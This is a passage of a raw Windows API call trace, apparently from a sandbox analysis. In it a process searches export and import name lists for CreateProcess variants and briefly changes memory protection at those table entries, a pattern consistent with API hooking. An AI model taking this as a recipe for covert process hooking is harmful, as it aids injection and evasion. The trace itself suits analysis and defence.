(lpString1="ConvertSidToStringSidA", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertStringSDToSDDomainA", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertStringSDToSDDomainW", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertStringSDToSDRootDomainA", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertStringSDToSDRootDomainW", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorA", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertStringSidToSidA", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="ConvertToAutoInheritPrivateObjectSecurity", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="CopySid", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="CreateCodeAuthzLevel", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="CreatePrivateObjectSecurity", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="CreatePrivateObjectSecurityEx", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="CreatePrivateObjectSecurityWithMultipleInheritance", lpString2="CreateProcessAsUserA") returned -1 [0070.667] lstrcmpA (lpString1="CreateProcessAsUserA", lpString2="CreateProcessAsUserA") returned 0 [0070.667] VirtualProtect (in: lpAddress=0x7fefd78a6e0, dwSize=0x4, flNewProtect=0x40, lpflOldProtect=0x2fede8 | out: lpflOldProtect=0x2fede8*=0x2) returned 1 [0070.690] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x18) returned 0x22dee30 [0070.691] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x18) returned 0x22dee50 [0070.697] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dee30 | out: hHeap=0x1ee0000) returned 1 [0070.697] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dee50 | out: hHeap=0x1ee0000) returned 1 [0070.697] VirtualProtect (in: lpAddress=0x7fefd785600, dwSize=0xe, flNewProtect=0x40, lpflOldProtect=0x2fede0 | out: lpflOldProtect=0x2fede0*=0x20) returned 1 [0070.717] VirtualProtect (in: lpAddress=0x7fefd785600, dwSize=0xe, flNewProtect=0x20, lpflOldProtect=0x2fede0 | out: lpflOldProtect=0x2fede0*=0x40) returned 1 [0070.717] VirtualProtect (in: lpAddress=0x7fefd78a6e0, dwSize=0x4, flNewProtect=0x2, lpflOldProtect=0x2fede8 | out: lpflOldProtect=0x2fede8*=0x40) returned 1 [0070.718] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fed80, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fed80, ReturnLength=0x0) returned 0x0 [0070.718] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x1000) returned 0x22dee30 [0070.718] LoadLibraryA (lpLibFileName="PSAPI.DLL") returned 0x77320000 [0070.718] GetProcAddress (hModule=0x77320000, lpProcName="EnumProcessModules") returned 0x77321050 [0070.718] EnumProcessModules (in: hProcess=0xffffffffffffffff, lphModule=0x22dee30, cb=0x1000, lpcbNeeded=0x2fee88 | out: lphModule=0x22dee30, lpcbNeeded=0x2fee88) returned 1 [0070.718] VirtualQueryEx (in: hProcess=0xffffffffffffffff, lpAddress=0x13f510000, lpBuffer=0x2fee90, dwLength=0x30 | out: lpBuffer=0x2fee90*(BaseAddress=0x13f510000, AllocationBase=0x13f510000, AllocationProtect=0x80, __alignment1=0xfffff880, RegionSize=0x1000, State=0x1000, Protect=0x2, Type=0x1000000, __alignment2=0x0)) returned 0x30 [0070.719] NtQueryInformationProcess (in: ProcessHandle=0xffffffffffffffff, ProcessInformationClass=0x0, ProcessInformation=0x2fedd0, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2fedd0, ReturnLength=0x0) returned 0x0 [0070.719] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x22dfe40 [0070.719] lstrcmpiA (lpString1="SignalInitializeCrashReporting", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="SignalChromeElf", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="GetInstallDetailsPayload", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="ImpersonateNamedPipeClient", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="SetEntriesInAclW", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="GetSecurityInfo", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="CreateWellKnownSid", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="RegDeleteValueW", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="RegSetValueExW", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="RegCreateKeyExW", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="SystemFunction036", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="RegDisablePredefinedCache", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="RevertToSelf", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="GetLengthSid", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="SetKernelObjectSecurity", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessW") returned -1 [0070.719] lstrcmpiA (lpString1="GetKernelObjectSecurity", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="SetSecurityInfo", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessW") returned -1 [0070.719] lstrcmpiA (lpString1="SetTokenInformation", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="GetAce", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="GetSecurityDescriptorSacl", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessW") returned -1 [0070.719] lstrcmpiA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessW") returned -1 [0070.719] lstrcmpiA (lpString1="SetThreadToken", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="DuplicateTokenEx", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="DuplicateToken", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="CreateRestrictedToken", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="EqualSid", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="LookupPrivilegeValueW", lpString2="CreateProcessW") returned 1 [0070.719] lstrcmpiA (lpString1="CopySid", lpString2="CreateProcessW") returned -1 [0070.720] lstrcmpiA (lpString1="GetThreadLocale", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="CreateEventW", lpString2="CreateProcessW") returned -1 [0070.720] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="GetProcessId", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="DuplicateHandle", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="SetProcessShutdownParameters", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="SetCurrentDirectoryW", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="VirtualFree", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="VirtualAlloc", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="GetNativeSystemInfo", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="GetCommandLineW", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="Sleep", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="FileTimeToSystemTime", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="GetCurrentThread", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="QueryPerformanceFrequency", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="SystemTimeToTzSpecificLocalTime", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="HeapCreate", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="HeapDestroy", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="WriteFile", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessW") returned -1 [0070.720] lstrcmpiA (lpString1="DeleteFileW", lpString2="CreateProcessW") returned 1 [0070.720] lstrcmpiA (lpString1="CloseHandle", lpString2="CreateProcessW") returned -1 [0070.720] lstrcmpiA (lpString1="GetLocalTime", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="FormatMessageA", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="OpenProcess", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="GetExitCodeProcess", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="ReadFile", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="SetEndOfFile", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="GetFileInformationByHandle", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="FlushFileBuffers", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="ReleaseSRWLockExclusive", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessW") returned -1 [0070.721] lstrcmpiA (lpString1="GetUserDefaultLangID", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="RegisterWaitForSingleObject", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="UnregisterWaitEx", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="CreateDirectoryW", lpString2="CreateProcessW") returned -1 [0070.721] lstrcmpiA (lpString1="QueryDosDeviceW", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="GetLongPathNameW", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="RemoveDirectoryW", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="GetTempPathW", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="SetFileAttributesW", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="ReplaceFileW", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="CreateFileMappingW", lpString2="CreateProcessW") returned -1 [0070.721] lstrcmpiA (lpString1="MapViewOfFile", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="MoveFileW", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="GetSystemDirectoryW", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="GetWindowsDirectoryW", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="RaiseException", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="CreateThread", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="IsDebuggerPresent", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="HeapFree", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="HeapSize", lpString2="CreateProcessW") returned 1 [0070.721] lstrcmpiA (lpString1="HeapReAlloc", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="HeapAlloc", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="GetThreadId", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="SizeofResource", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="LockResource", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="LoadResource", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="FindResourceW", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="FindFirstFileW", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="FindFirstFileExW", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="FindNextFileW", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="FindClose", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="GetModuleHandleExW", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="FlushViewOfFile", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="RtlCaptureStackBackTrace", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="SetUnhandledExceptionFilter", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="TlsSetValue", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="TlsAlloc", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="TlsGetValue", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="TlsFree", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="HeapSetInformation", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="VirtualQuery", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="GetSystemInfo", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="GetProcessTimes", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="VirtualQueryEx", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="SetEvent", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="ResetEvent", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="LoadLibraryW", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="SetInformationJobObject", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="GetQueuedCompletionStatus", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="PostQueuedCompletionStatus", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="CreateIoCompletionPort", lpString2="CreateProcessW") returned -1 [0070.722] lstrcmpiA (lpString1="InitializeCriticalSectionAndSpinCount", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="DecodePointer", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="DeleteCriticalSection", lpString2="CreateProcessW") returned 1 [0070.722] lstrcmpiA (lpString1="CreateProcessW", lpString2="CreateProcessW") returned 0 [0070.722] VirtualProtect (in: lpAddress=0x13f5d3488, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x2) returned 1 [0070.723] VirtualProtect (in: lpAddress=0x13f5d3488, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x40) returned 1 [0070.723] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x22dfeb0 [0070.723] lstrcmpiA (lpString1="SignalInitializeCrashReporting", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="SignalChromeElf", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="GetInstallDetailsPayload", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="ImpersonateNamedPipeClient", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="SetEntriesInAclW", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="GetSecurityInfo", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="CreateWellKnownSid", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="RegQueryValueExW", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="RegDeleteValueW", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="RegOpenKeyExW", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="RegSetValueExW", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="RegCreateKeyExW", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="RegCloseKey", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="SystemFunction036", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="GetTokenInformation", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="OpenProcessToken", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="RegDisablePredefinedCache", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="RevertToSelf", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="GetLengthSid", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="SetKernelObjectSecurity", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="ConvertStringSecurityDescriptorToSecurityDescriptorW", lpString2="CreateProcessA") returned -1 [0070.723] lstrcmpiA (lpString1="GetKernelObjectSecurity", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="SetSecurityInfo", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="ConvertStringSidToSidW", lpString2="CreateProcessA") returned -1 [0070.723] lstrcmpiA (lpString1="SetTokenInformation", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="GetAce", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="GetSecurityDescriptorSacl", lpString2="CreateProcessA") returned 1 [0070.723] lstrcmpiA (lpString1="ConvertSidToStringSidW", lpString2="CreateProcessA") returned -1 [0070.724] lstrcmpiA (lpString1="CreateProcessAsUserW", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="SetThreadToken", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="DuplicateTokenEx", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="DuplicateToken", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="CreateRestrictedToken", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="EqualSid", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="LookupPrivilegeValueW", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="CopySid", lpString2="CreateProcessA") returned -1 [0070.724] lstrcmpiA (lpString1="GetThreadLocale", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="GetSystemDefaultLCID", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="GetModuleFileNameW", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="GetModuleHandleA", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="GetProcAddress", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="SetLastError", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="GetCurrentThreadId", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="CreateEventW", lpString2="CreateProcessA") returned -1 [0070.724] lstrcmpiA (lpString1="GetLastError", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="GetCurrentProcess", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="GetProcessId", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="WaitForSingleObject", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="DuplicateHandle", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="SetProcessShutdownParameters", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="SetCurrentDirectoryW", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="LoadLibraryExW", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="VirtualFree", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="VirtualAlloc", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="MultiByteToWideChar", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="WideCharToMultiByte", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="GetModuleHandleW", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="GetVersionExW", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="GetNativeSystemInfo", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="ExpandEnvironmentStringsW", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="GetCommandLineW", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="LocalFree", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="Sleep", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="FileTimeToSystemTime", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="GetCurrentThread", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="QueryPerformanceFrequency", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="SystemTimeToTzSpecificLocalTime", lpString2="CreateProcessA") returned 1 [0070.724] lstrcmpiA (lpString1="GetSystemTimeAsFileTime", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="QueryPerformanceCounter", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="HeapCreate", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="HeapDestroy", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="WriteFile", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="CreateFileW", lpString2="CreateProcessA") returned -1 [0070.725] lstrcmpiA (lpString1="DeleteFileW", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="CloseHandle", lpString2="CreateProcessA") returned -1 [0070.725] lstrcmpiA (lpString1="GetLocalTime", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="GetCurrentDirectoryW", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="GetCurrentProcessId", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="FormatMessageA", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="GetTickCount", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="TerminateProcess", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="OpenProcess", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="GetExitCodeProcess", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="ReadFile", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="GetFileSizeEx", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="SetEndOfFile", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="GetFileInformationByHandle", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="SetFilePointerEx", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="FlushFileBuffers", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="ReleaseSRWLockExclusive", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="AcquireSRWLockExclusive", lpString2="CreateProcessA") returned -1 [0070.725] lstrcmpiA (lpString1="GetUserDefaultLangID", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="RegisterWaitForSingleObject", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="UnregisterWaitEx", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="CreateDirectoryW", lpString2="CreateProcessA") returned -1 [0070.725] lstrcmpiA (lpString1="QueryDosDeviceW", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="GetLongPathNameW", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="RemoveDirectoryW", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="GetTempPathW", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="GetFileAttributesW", lpString2="CreateProcessA") returned 1 [0070.725] lstrcmpiA (lpString1="UnmapViewOfFile", lpString2="CreateProcessA") returned 1 [0070.726] HeapFree (in: hHeap=0x1ee0000, dwFlags=0x0, lpMem=0x22dfeb0 | out: hHeap=0x1ee0000) returned 1 [0070.726] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x22dfeb0 [0070.726] VirtualProtect (in: lpAddress=0x13f5d30c8, dwSize=0x8, flNewProtect=0x40, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x2) returned 1 [0070.726] VirtualProtect (in: lpAddress=0x13f5d30c8, dwSize=0x8, flNewProtect=0x2, lpflOldProtect=0x2fedd0 | out: lpflOldProtect=0x2fedd0*=0x40) returned 1 [0070.726] RtlAllocateHeap (HeapHandle=0x1ee0000, Flags=0x0, Size=0x60) returned 0x22dff20 [0070.726] HeapFree (in: 